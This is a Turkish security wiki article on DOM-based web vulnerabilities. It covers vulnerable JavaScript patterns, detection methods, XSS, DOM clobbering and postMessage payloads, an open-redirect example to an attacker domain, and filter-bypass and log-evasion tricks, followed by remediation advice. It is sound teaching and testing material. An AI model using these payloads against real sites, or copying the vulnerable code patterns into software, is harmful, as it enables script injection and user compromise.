DOM BASED VULNERABILITIES
> Yazar: Yaren Daşpınar
DOM tabanlı zafiyetler, modern web uygulamalarının istemci tarafındaki (client-side) mantıksal ve teknik tasarım hatalarından kaynaklanan, siber güvenlik dünyasının en sofistike "görünmez" saldırı vektörlerinden biridir. Sunucu tarafındaki (Reflected/Stored) enjeksiyonların aksine, DOM tabanlı saldırılar doğrudan tarayıcı çalışma zamanında (runtime) gerçekleşir. Bu zafiyetler, uygulamanın JavaScript kodunun saldırgan tarafından kontrol edilebilen bir değerden (Source) veri alıp, bu veriyi tehlikeli bir fonksiyona veya nesneye (Sink) güvensiz bir şekilde iletmesiyle oluşur.
Red Team operasyonlarında bu zafiyetlerin stratejik önemi, WAF (Web Application Firewall) sistemlerinin genellikle URL fragment (#) gibi sunucuya iletilmeyen verileri denetleyememesi ve saldırının tamamen kurbanın tarayıcı belleğinde icra edilmesidir.
How It Works (Teknik Analiz)
Zafiyetin kök nedeni "Leke Akışı" (Taint Flow) prensibine dayanır. Tarayıcı, HTML ayrıştırma (parsing) ve JavaScript yürütme bağlamlarını (context) yönetirken farklı kurallar uygular. DOM tabanlı bir zafiyet, saldırganın kontrolündeki verinin bu bağlamlar arasında "dezenfekte edilmeden" akmasıdır.
Vulnerable Code Patterns
Aşağıdaki örnekler, farklı programlama dilleri ve mantıksal akışlar üzerinden zafiyetin düşük seviyeli kök nedenlerini analiz eder:
// ZAFİYETLİ KOD (JavaScript): Klasik Taint Flow
var searchParam = new URLSearchParams(window.location.search).get("query");
// Source: location.search
document.getElementById('results').innerHTML = "Sonuçlar: " + searchParam;
// Sink: .innerHTML (HTML Parser tetiklenir)
// Analiz: query=<img src=x onerror=alert(1)> girildiğinde DOM ağacı manipüle edilir.
// ZAFİYETLİ KOD (JavaScript): jQuery Sink Manipülasyonu
$(function() {
var returnUrl = (new URLSearchParams(window.location.search)).get('url');
$('#backLink').attr("href", returnUrl);
});
// Sink: .attr("href", ...)
// Analiz: url=javascript:alert(document.domain) enjekte edildiğinde
// bir execution context (JS protokolü) oluşturulur.
Detection & Enumeration (Keşif ve Analiz)
DOM tabanlı açıkları tespit etmek, statik kod analizi ve dinamik hata ayıklama (debugging) becerisi gerektirir.
Manuel Test Metodolojileri
- Source Tespiti: Uygulamanın
location.hash,location.searchveyadocument.referrergibi kaynaklardan veri okuyup okumadığını Chrome DevTools (F12) -> Sources sekmesinden inceleyin. - Sink Takibi:
Control+Shift+File tüm JS dosyalarındaeval(),innerHTML,document.write(),setTimeout()gibi tehlikeli fonksiyonları aratın. - Debugger Kullanımı: Şüpheli kaynaklara breakpoint (kesme noktası) koyarak verinin hangi değişkenlere atandığını ve nihai alıcıya (sink) nasıl ulaştığını adım adım izleyin.
Keşif Payloadları
| Source Tipi | Test Payload | Beklenen Davranış |
|---|---|---|
| location.hash | #<img src=x onerror=alert(1)> |
DOM'a enjekte edilip edilmediği kontrol edilir. |
| window.name | window.name="<svg/onload=alert(1)>" |
Başka bir sayfadan bu isme erişildiğinde tetiklenme. |
| postMessage | postMessage('javascript:alert(1)', '*') |
Mesaj dinleyicisinin (listener) veriyi işlemesi. |
Attack Vectors & Exploitation (İstismar Vektörleri)
DOM-Based XSS
En yaygın vektördür. Verinin document.write() veya innerHTML gibi HTML ayrıştırıcısını tetikleyen sinklere ulaşmasıdır. Modern tarayıcılar innerHTML içinde doğrudan <script> etiketlerini çalıştırmaz; bu nedenle img veya iframe event handlerları (onerror, onload) kullanılır.
DOM Clobbering
Gelişmiş bir tekniktir. HTML öğelerinin (id veya name) kullanılarak JavaScript global değişkenlerinin üzerine yazılmasıdır. Özellikle yapılandırma (config) nesnelerini ezerek uygulamanın kötü niyetli bir script yüklemesi sağlanabilir.
- Exploit:
<a id=defaultConfig href="javascript:alert(1)"></a>enjeksiyonu ilewindow.defaultConfignesnesi ele geçirilir.
Web Message Manipulation (postMessage)
İki farklı origin arasındaki iletişimde veri doğrulama hatasıdır. window.addEventListener('message', ...) fonksiyonu e.origin kontrolü yapmıyorsa veya kontrol indexOf gibi zayıf metodlarla yapılıyorsa, saldırgan iframe içinden payload gönderir.
DOM-Based Open Redirection
Kullanıcı kontrolündeki verinin window.location veya location.href gibi yönlendirme sinklerine ulaşmasıdır.
- Exploit:
https://victim.com#https://evil-attacker.com
JavaScript Injection
Verinin eval(), Function() veya setTimeout() gibi doğrudan kod yürüten fonksiyonlara girmesidir. Bu, en yüksek etkiye sahip DOM açığıdır çünkü kaçış (escaping) teknikleri genellikle burada işe yaramaz.
Payloads & Advanced Commands
In-Band DOM XSS (innerHTML bypass)
<img src=1 onerror=alert(document.domain)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
Web Message Exploitation (iframe)
<iframe src="https://vulnerable-site" onload="this.contentWindow.postMessage('<img src=x onerror=alert(1)>', '*')"></iframe>
DOM Clobbering (Script Source Overwrite)
<a id="someObject"></a><a id="someObject" name="someProperty" href="javascript:alert(1)"></a>
<script>
// Uygulama kodu:
var url = someObject.someProperty || 'default.js';
var s = document.createElement('script');
s.src = url;
document.body.appendChild(s);
</script>
postMessage Origin Bypass (indexOf)
Eğer kontrol if(e.origin.indexOf('safe.com') > -1) şeklindeyse:
https://safe.com.attacker.nethttps://attacker.com/safe.com
Bypass & Obfuscation (Atlatma Teknikleri)
URL Fragment Obfuscation
Sunucu loglarına düşmemek için payloadu # (hash) arkasına saklama:
https://target.com/page#<img src=x onerror=alert(1)>
Double Encoding & String Manipulation
Uygulama basit regex kontrolleri yapıyorsa JavaScript string metodlarıyla bypass:
?id=123&callback=alert(1)// (Sondaki yorum satırı ile JS sözdizimi tamamlanır).
Client-Side Template Literals Bypass
Eğer uygulama ${} içinde veri render ediyorsa, tırnak işaretlerinden kaçmaya gerek kalmadan doğrudan ifade enjeksiyonu yapılabilir.
Remediation & Prevention (Önleme ve Savunma)
- Safe Sinks Use: Tehlikeli sinkler yerine güvenli olanları tercih edin.
innerHTMLyerinetextContent,eval()yerine JSON işlemleri içinJSON.parse()kullanın. - Context-Aware Output Encoding: Veriyi DOM'a yerleştirmeden önce bağlama uygun şekilde kodlayın. HTML bağlamı için HTML entity encoding, JS bağlamı için Unicode escaping uygulayın.
- Content Security Policy (CSP):
script-src 'self'gibi katı CSP kuralları ile satır içi (inline) scriptlerin ve yabancı domainlerden script yüklenmesinin önüne geçin. - Origin Verification:
postMessagedinleyicilerindee.originkontrolünü KESİNLİKLE tam eşleşme (===) ile yapın. - DOMPurify: Kullanıcıdan alınan HTML içeriğini render etmeden önce DOMPurify gibi profesyonel kütüphanelerle temizleyin.
Common Tools & Frameworks
| Araç | Fonksiyon | Komut Örneği |
|---|---|---|
| Burp DOM Invader | Otomatik source/sink analizi ve canary takibi | Enable DOM Invader in Burp Browser |
| domloggerpp | Tüm sinklere ulaşan veriyi konsolda loglar | Include extension in Chromium |
| ESLint (no-unsanitized) | Statik JS analizi ile güvensiz sink tespiti | eslint --plugin no-unsanitized . |
| DOMPurify | Client-side XSS temizleme kütüphanesi | DOMPurify.sanitize(dirtyHTML) |
| postMessage-tracker | Sayfadaki tüm postMessage trafiğini izler | Monitor Chrome DevTools Network/Console |
Yazar: Yaren Daşpınar · AltaySec Wiki — Türkçe güvenlik playbook'u.
← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv